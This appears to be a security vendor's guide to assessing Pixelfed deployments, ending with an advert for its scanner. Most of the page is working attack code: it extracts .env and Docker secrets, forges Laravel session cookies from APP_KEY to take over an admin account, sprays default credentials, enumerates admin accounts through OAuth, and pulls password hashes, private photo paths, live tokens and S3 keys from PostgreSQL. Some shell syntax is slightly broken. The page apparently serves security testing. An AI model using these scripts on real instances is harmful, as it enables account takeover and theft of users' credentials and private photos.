Pixelfed is a self-hosted federated photo sharing platform (Instagram alternative) built on Laravel — organizations and communities use it to host private photo sharing networks. Key assessment areas: APP_KEY in .env enables forging Laravel session cookies for any user account; admin@pixelfed.test/password is the documented default admin credential used in many deployments; PostgreSQL stores all user credentials, private photo metadata, and OAuth tokens; and the ActivityPub federation API exposes user data without authentication. This guide covers systematic Pixelfed security assessment.
# Pixelfed — APP_KEY extraction and Laravel session cookie forgery
PF_URL="https://pixelfed.example.com"
# .env — Pixelfed environment configuration (all secrets)
cat /var/www/pixelfed/.env 2>/dev/null | grep -v "^#" | grep -v "^$"
# APP_KEY=base64:... <-- Laravel app key (session cookie signing/encryption)
# DB_PASSWORD=... <-- PostgreSQL password
# AWS_SECRET_ACCESS_KEY=... <-- S3 media storage
# MAIL_PASSWORD=... <-- SMTP password
# REDIS_PASSWORD=... <-- Redis auth
# Docker environment
docker inspect pixelfed 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_KEY','DB_','AWS_','MAIL_','REDIS_','SECRET']):
print(e)
" 2>/dev/null
# Laravel APP_KEY — decrypt/forge session cookies
# Pixelfed uses Laravel's encrypted session cookie
# APP_KEY = base64:XXXXXXXXX (32-byte AES-256-CBC key)
APP_KEY=$(grep "^APP_KEY=" /var/www/pixelfed/.env 2>/dev/null | cut -d= -f2-)
echo "APP_KEY: $APP_KEY"
# With APP_KEY, forge a session cookie for any user:
python3 -c "
import base64, json, os, hmac, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# Extract raw key from base64: prefix
app_key_b64 = '${APP_KEY}'.replace('base64:', '')
key = base64.b64decode(app_key_b64)
# Craft Laravel session payload
# Target user_id=1 (first admin)
session_data = {'_token': 'csrf_token', 'login_web_xxx': 1}
payload = json.dumps(session_data).encode()
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload, 16))
iv_b64 = base64.b64encode(iv).decode()
value_b64 = base64.b64encode(encrypted).decode()
mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
cookie_payload = json.dumps({'iv': iv_b64, 'value': value_b64, 'mac': mac})
print('Forged cookie:', base64.b64encode(cookie_payload.encode()).decode())
" 2>/dev/null
# Pixelfed default credential testing and admin API
PF_URL="https://pixelfed.example.com"
# Common Pixelfed default credentials
# admin@pixelfed.test / password — documented in setup guides
# admin@example.com / password — common alternative
for CRED in "admin@pixelfed.test:password" "admin@example.com:password" "admin@localhost:password"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2-)
RESULT=$(curl -s -X POST "${PF_URL}/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
-c /tmp/pf_jar -o /dev/null -w "%{http_code}" 2>/dev/null)
echo "${EMAIL}: HTTP ${RESULT}"
[ "$RESULT" = "200" ] || [ "$RESULT" = "302" ] && echo " Possible success!"
done
# Admin API — user enumeration (requires admin OAuth token)
# First, get an OAuth token via the API
OAUTH_TOKEN=$(curl -s -X POST "${PF_URL}/oauth/token" \
-H "Content-Type: application/json" \
-d '{
"grant_type": "password",
"client_id": 1,
"client_secret": "CLIENT_SECRET",
"username": "admin@pixelfed.test",
"password": "password",
"scope": "admin:read admin:write"
}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token',''))
" 2>/dev/null)
echo "OAuth token: $OAUTH_TOKEN"
# Admin accounts list
curl -s "${PF_URL}/api/v1/admin/accounts?limit=200" \
-H "Authorization: Bearer ${OAUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total accounts: {len(d)}')
for u in d[:10]:
print(f' [{u.get(\"id\")}] @{u.get(\"username\")} role={u.get(\"role\")} email={u.get(\"email\")}')
" 2>/dev/null
# Pixelfed PostgreSQL database extraction
PF_DB="pixelfed_prod"
psql -h localhost -U pixelfed -d "$PF_DB" 2>/dev/null << 'EOF'
-- All users with credentials
SELECT id,
name,
username,
email,
password, -- bcrypt hash
is_admin,
last_active_at,
created_at
FROM users
ORDER BY is_admin DESC, created_at
LIMIT 20;
EOF
-- Private media (photos marked private)
psql -h localhost -U pixelfed -d "$PF_DB" 2>/dev/null << 'EOF'
SELECT m.id,
m.user_id,
u.username,
m.mime,
m.caption,
m.media_path, -- file path or S3 key
m.created_at
FROM media m
JOIN users u ON m.user_id = u.id
JOIN statuses s ON m.status_id = s.id
WHERE s.visibility = 'private'
OR s.scope = 'private'
ORDER BY m.created_at DESC
LIMIT 20;
EOF
-- All OAuth tokens (persistent API access)
psql -h localhost -U pixelfed -d "$PF_DB" 2>/dev/null << 'EOF'
SELECT ot.id,
ot.user_id,
u.username,
ot.name,
ot.scopes,
ot.expires_at,
ot.revoked
FROM oauth_access_tokens ot
JOIN users u ON ot.user_id = u.id
WHERE ot.revoked = false
AND (ot.expires_at IS NULL OR ot.expires_at > NOW())
ORDER BY ot.created_at DESC
LIMIT 10;
EOF
-- S3 media storage credentials
grep -E "AWS_|S3_|MEDIA_" /var/www/pixelfed/.env 2>/dev/null
# AWS_ACCESS_KEY_ID — S3 access key
# AWS_SECRET_ACCESS_KEY — S3 secret key
# AWS_DEFAULT_REGION — S3 region
# AWS_BUCKET — bucket name containing all photos
| Security Test | Method | Risk |
|---|---|---|
| APP_KEY extraction and Laravel session cookie forgery | Read .env APP_KEY — AES-256-CBC key used to encrypt Laravel session cookies; forge session for any user ID including admins; full account takeover without password | Critical |
| Default admin credential testing (admin@pixelfed.test/password) | POST /login with documented default credentials — admin access to all user accounts, private photos, instance configuration, and federation settings | Critical |
| PostgreSQL users table bcrypt hash extraction | SELECT password FROM users — all bcrypt password hashes and email addresses; OAuth token enumeration for persistent API access | High |
| Private photo S3 key extraction and media access | Read .env AWS_SECRET_ACCESS_KEY — full access to photo storage bucket; download all photos including private-post images; verify private post photos are not publicly accessible via S3 URL | High |
| ActivityPub user enumeration (unauthenticated) | GET /users/{username} — user existence checking; federation API exposes profile data to external servers; no authentication required for public profile endpoints | Medium |
Ironimo tests Pixelfed deployments for .env APP_KEY extraction and Laravel session cookie forgery, admin@pixelfed.test/password default credential testing, PostgreSQL users table bcrypt hash and email extraction, OAuth access token enumeration, S3 AWS_SECRET_ACCESS_KEY media bucket access, private photo URL accessibility testing, MAIL_PASSWORD SMTP credential exposure, ActivityPub user enumeration without authentication, admin API account enumeration, and Docker environment variable APP_KEY and DB_PASSWORD disclosure.
Start free scan